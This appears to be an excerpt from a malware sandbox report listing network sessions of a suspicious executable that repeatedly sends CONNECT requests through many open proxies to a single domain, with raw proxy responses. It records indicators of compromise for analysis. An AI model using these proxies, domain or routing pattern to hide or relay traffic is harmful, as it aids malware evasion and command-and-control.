Mar 11, 2024 16:42:22.728389978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.884588003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.11	52945	3.90.100.12	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.730194092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.948887110 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:22 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.11	52195	98.170.57.231	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.743705034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.11	52982	162.241.45.22	55610	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.744834900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376224995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.189029932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.486093044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.986238003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501491070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.985780001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.985686064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.922851086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.11	52885	175.183.82.221	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.827486992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.11	52903	37.235.48.19	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.831407070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.11	52916	5.61.33.234	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.831588030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.11	50876	89.36.114.38	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.831598997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.887238026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.939177036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032700062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.032238007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.172868967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:11.188441992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.11	52902	213.17.246.46	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.831892967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.144649029 CET	696	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.11	52921	147.75.92.244	9401	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.832740068 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:23.115318060 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.11	52888	116.199.168.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.833800077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.11	52990	13.59.156.167	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.834943056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.051758051 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:22 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.11	53047	172.67.69.9	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.842267990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.996536970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.11	52894	3.108.115.48	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.845989943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.249085903 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:23 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.11	52919	185.38.111.1	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.845992088 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:23.167819023 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Length: 0
Mar 11, 2024 16:42:23.489538908 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.11	52946	130.162.213.175	3129	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.846893072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.644893885 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.11	52900	49.4.48.128	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.846896887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.215854883 CET	179	IN	HTTP/1.1 504 Gateway Time-out Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 15:42:33 GMT Content-Type: text/html Content-Length: 494 Connection: close ETag: "658e91eb-1ee"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.11	52427	162.214.103.87	36304	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.847009897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.11	52908	103.200.135.229	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.847493887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.11	52976	146.56.146.5	48384	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.849575043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.688764095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.689021111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.11	53078	104.25.64.27	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.849703074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.004067898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.11	52996	70.166.167.55	57745	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.849948883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.11	52926	61.178.152.31	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.854789972 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:23.689007998 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:24.058473110 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.11	53106	104.16.105.182	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.857261896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.011428118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
